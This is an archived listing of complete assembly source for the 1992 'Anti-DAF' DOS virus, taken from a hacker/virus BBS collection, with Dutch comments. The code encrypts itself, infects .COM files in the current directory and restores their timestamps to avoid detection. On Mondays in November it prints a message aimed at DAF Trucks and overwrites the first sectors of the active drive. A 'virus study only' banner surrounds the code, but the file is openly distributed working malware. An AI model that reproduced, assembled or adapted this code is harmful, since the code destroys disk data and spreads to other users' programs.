home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ANTI_DAF.ASM < prev    next >
Assembly Source File  |  1997-05-21  |  11KB  |  291 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;****************************************************************************
  25. ;*   The Anti_DAF Virus                                                     *
  26. ;*                                                                          *
  27. ;*   Assembled with Tasm 2.5                            *
  28. ;*                                                                          *
  29. ;*   (c) 1992 Dark Helmet & The Virus Research Centre, The Netherlands      *
  30. ;*   The author takes no responsibilty for any damages caused by the virus  *
  31. ;*                                                                          *
  32. ;*   Special greetings and thanx to :                                       *
  33. ;*   Glenn Benton, XSTC for their nice source and viruses,             *
  34. ;*   Peter Venkman for his BBS, Guns and Roses for their great music,         *
  35. ;*   and al the other viruswriters...                        *
  36. ;*                                                                          *
  37. ;*   "Dark Helmet strikes back..."                              *
  38. ;*                                                                          *
  39. ;*--------------------------------------------------------------------------*
  40. ;*                                        *
  41. ;*   NOTE : This virus will overwrite the first sectors of the active drive *
  42. ;*          on any monday in November.                                      *
  43. ;*                                        *   
  44. ;*   Coming soon : CIVIL WAR II                              *
  45. ;*                                        *
  46. ;*--------------------------------------------------------------------------*
  47. ;*                                                                          *
  48. ;*  Het Anti-DAF virus is hoofzakelijk gebaseerd op The Navigator virus     *
  49. ;*  De encryptie die bij Anti-DAF gebruikt wordt is gebaseerd               *
  50. ;*  op de encryptie zoals deze door Glenn Benton gebruikt is             *
  51. ;*  bij het 'RTL4/Wedden dat virus'.                                        *
  52. ;*  Om de controleren of een file geinfecteerd is worden de 4e, 5e en 6e    *
  53. ;*  bytes aan het begin gebruikt.                        *
  54. ;*                                        *
  55. ;*   XOR de 4e en 5e byte                            *
  56. ;*   Verhoog resultaat met 1                            *
  57. ;*   Vergelijk met 6e byte                                *
  58. ;*                                        *
  59. ;*   Is het resultaat gelijk dan is de file al besmet, de 6e byte word ook  *
  60. ;*   voor de decryptie gebruikt.                        *
  61. ;*   Verlaag deze waarde met 1 en je hebt de sleutel zoals deze bij de      *
  62. ;*   decrypty in gebruik is.                            *
  63. ;*   Het 4e byte word bepaald uit de lengte van de file + 1.                *
  64. ;*   De 5e byte word bepaald door het aantal seconden van             *
  65. ;*   de systeemtijd te pakken.                            * 
  66. ;*                                                                          *
  67. ;*   Dark Helmet                                *
  68. ;*                                        *
  69. ;****************************************************************************
  70.  
  71.         .Radix 16
  72.  
  73. Anti_DAF        Segment
  74.         Assume cs:Anti_DAF, ds:Anti_DAF
  75.                 org 100h
  76.  
  77. len         equ offset last - begin
  78. vir_len            equ offset last - vir_start 
  79.  
  80. Dummy:          db 0e9h, 03h, 00h
  81. Key:            db 000h, 00h, 01h
  82.  
  83. Begin:          call virus            ; IP op stack
  84.  
  85. Virus:          pop bp                ; Haal IP van Stack    
  86.                 sub bp,109h            
  87.                 lea si,vir_start+[bp]           ; voor decryptie     
  88.         mov di,si
  89.         mov cx,vir_len             ; lengte decryptie gedeelte    
  90.         mov ah,ds:[105h]        ; haal sleutel op
  91.         dec ah                          ; sleutel met 1 verminderen
  92.                         ; voor decryptie
  93.  
  94. decrypt:        lodsb                ; decrypt virus
  95.         xor al,ah            
  96.         stosb
  97.         loop decrypt
  98.  
  99. vir_start:    mov dx,0fe00h            ; verplaats DTA
  100.         mov ah,1ah
  101.         int 21h
  102.  
  103. restore_begin:  mov di,0100h            ; herstel begin programma
  104.         lea si,ds:[buffer+bp]
  105.         mov cx,06h
  106.         rep movsb
  107.  
  108.         mov ah,2ah            ;kijk of het een maandag     
  109.         int 21h                ;in november is
  110.         cmp dh,00bh
  111.         jne no_activate
  112.         cmp al,01h
  113.         jne no_activate
  114.  
  115. activate:    mov ah,09h            ; activeer het virus :-)
  116.         lea dx,[text+bp]        ; druk text af
  117.         int 21h
  118.         mov ah,19h            ; vraag drive op
  119.         int 21h
  120.         mov dx,0                ; overschrijf eerste sectors
  121.         mov cx,10h            ; van huidige drive
  122.         mov bx,0            
  123.             int 26h
  124.         jmp exit
  125.  
  126.  
  127.  
  128. no_activate:    lea dx,[com_mask+bp]        ; zoekt eerste .COM program
  129.         mov ah,04eh            ; in directorie
  130.         xor cx,cx
  131.         int 21h
  132.  
  133. Open_file:    mov ax,03d02h            ; open gevonden file
  134.         mov dx,0fe1eh
  135.         int 21h
  136.         mov [handle+bp],ax
  137.         xchg ax,bx
  138.  
  139. Read_date:    mov ax,05700h            ;lees datum/tijd file
  140.         int 21h                ;en bewaar deze
  141.         mov [date+bp],dx
  142.         mov [time+bp],cx
  143.  
  144. Check_infect:    mov bx,[handle+bp]        ; kijkt of al geinfecteerd
  145.         mov ah,03fh
  146.         mov cx,06h
  147.         lea dx,[buffer+bp]
  148.         int 21h
  149.                 mov al,byte ptr [buffer+bp]+3
  150.         xor al,byte ptr [buffer+bp]+4 
  151.         inc al
  152.         cmp al,byte ptr [buffer+bp]+5    
  153.         jne infect_file
  154.  
  155. Close_file:     mov bx,[handle+bp]        ; sluit file 
  156.         mov ah,3eh
  157.         int 21h
  158.  
  159. Next_file:      mov ah,4fh            ; zoekt volgende file
  160.         int 21h
  161.         jnb open_file
  162.         jmp exit            ; geen meer gevonden,
  163.                         ; ga naar exit
  164.  
  165. Infect_file:    mov ax,word ptr [cs:0fe1ah]    ; lees lengte van file in
  166.         sub ax,03h
  167.         mov [lenght+bp],ax        ; sla lengte op voor sprong
  168.                         ; instructie zodadelijk    
  169.         inc al                ; verhoog AL, eerste key 
  170.         mov [key1+bp],al            
  171.         mov ah,2ch            ; vraag systeemtijd op
  172.         int 21h
  173.         mov [key2+bp],dh        ; gebruik seconden voor tweede
  174.                         ; key
  175.         mov al,dh
  176.         xor al,[key1+bp]        ; derde sleutel en sleutel
  177.                         ; voor encrypty is een xor
  178.                         ; van key1 en key2
  179.         mov [sleutel+bp],al
  180.         lea si,vir_start+[bp]
  181.         mov di,0fd00h            ; encrypt hele zooi aan het
  182.                         ; einde van het segment
  183.         mov cx,vir_len 
  184.         
  185. Encrypt:    lodsb                ; de encryptie    
  186.         xor al,[sleutel+bp]
  187.         stosb
  188.         loop encrypt
  189.         mov al,[sleutel+bp]
  190.         inc al
  191.         mov [sleutel+bp],al
  192.  
  193. Write_jump:    mov ax,04200h               ; schrijf de jmp die het
  194.         call move_pointer           ; die het virus aan het begin    
  195.                 mov ah,40h               ; maakt    
  196.         mov cx,01h
  197.         lea dx,[jump+bp]
  198.         int 21h
  199.         
  200.         mov ah,40h            ; schrijf de offset die de jmp
  201.         mov cx,02h            ; maakt
  202.         lea dx,[lenght+bp]
  203.         int 21h
  204.         
  205.         mov ah,40            ; schrijf de sleutels weg
  206.         mov cx,03h
  207.         lea dx,[key1+bp]
  208.         int 21h
  209.                 
  210. Write_virus:    mov ax,4202h            ; schrijf virus gedeelte
  211.         call move_pointer        ; tot vir_start
  212.         mov ah,40h
  213.         mov cx,len - vir_len
  214.         lea dx,[begin+bp]
  215.         int 21h
  216.         mov ah,40h            ; schrijf het encrypte virus
  217.         mov cx,vir_len             ; achter de rest van het virus
  218.         mov dx,0fd00h
  219.         int 21h
  220.  
  221. restore_date:   mov dx,[date+bp]        ; herstel datum/tijd
  222.         mov cx,[time+bp]        ; geinfecteerde file
  223.         mov bx,[handle+bp]
  224.         mov ax,05701h
  225.         int 21h
  226.  
  227. exit:        mov bx,0100h            ; continu met orgineel 
  228.         jmp bx                ; orgineel programma
  229.  
  230. ;----------------------------------------------------------------------------
  231.  
  232. move_pointer:   mov bx,[handle+bp]
  233.         xor cx,cx
  234.         xor dx,dx
  235.         int 21h
  236.         ret
  237.         
  238. ;----------------------------------------------------------------------------
  239.  
  240. com_mask    db "*.com",0
  241. handle        dw ?
  242. date        dw ?
  243. time        dw ?
  244. buffer          db 090h,0cdh,020h,044h,048h,00h
  245. lenght        dw ?
  246. jump            db 0e9h,0
  247. text            db 0ah,0ah,0dh,"The Anti-DAF virus",0ah,0dh
  248.         db "DAF-TRUCKS Eindhoven",0ah,0dh
  249.         db "Hugo vd Goeslaan 1",0ah,0dh
  250.         db "Postbus 90063",0ah,0dh
  251.         db "5600 PR Eindhoven, The Netherlands",0ah,0dh
  252.         db 0ah,"DAF sucks...",0ah,0dh 
  253.         db "(c) 1992 Dark Helmet & The Virus Research Centre",0ah,0dh,"$",0
  254.  
  255. key1        db 00
  256. key2        db 00
  257. sleutel         db 00
  258. last        db 090h
  259.  
  260. Anti_DAF    ends
  261.         end  dummy
  262. ;****************************************************************************;
  263. ;                                                                            ;
  264. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  265. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  266. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  267. ;                     -=]                            [=-                     ;
  268. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  269. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  270. ;                     -=]                            [=-                     ;
  271. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  272. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  273. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  274. ;                                                                            ;
  275. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  276. ;                                                                            ;
  277. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  278. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  279. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  280. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  281. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  282. ; Is. Keep This Code in Responsible Hands!                                   ;
  283. ;                                                                            ;
  284. ;****************************************************************************;
  285.  
  286. ;─────────────────────────────────────────────────────────────────────────;
  287. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  288. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  289. ;─────────────────────────────────────────────────────────────────────────;
  290.  
  291.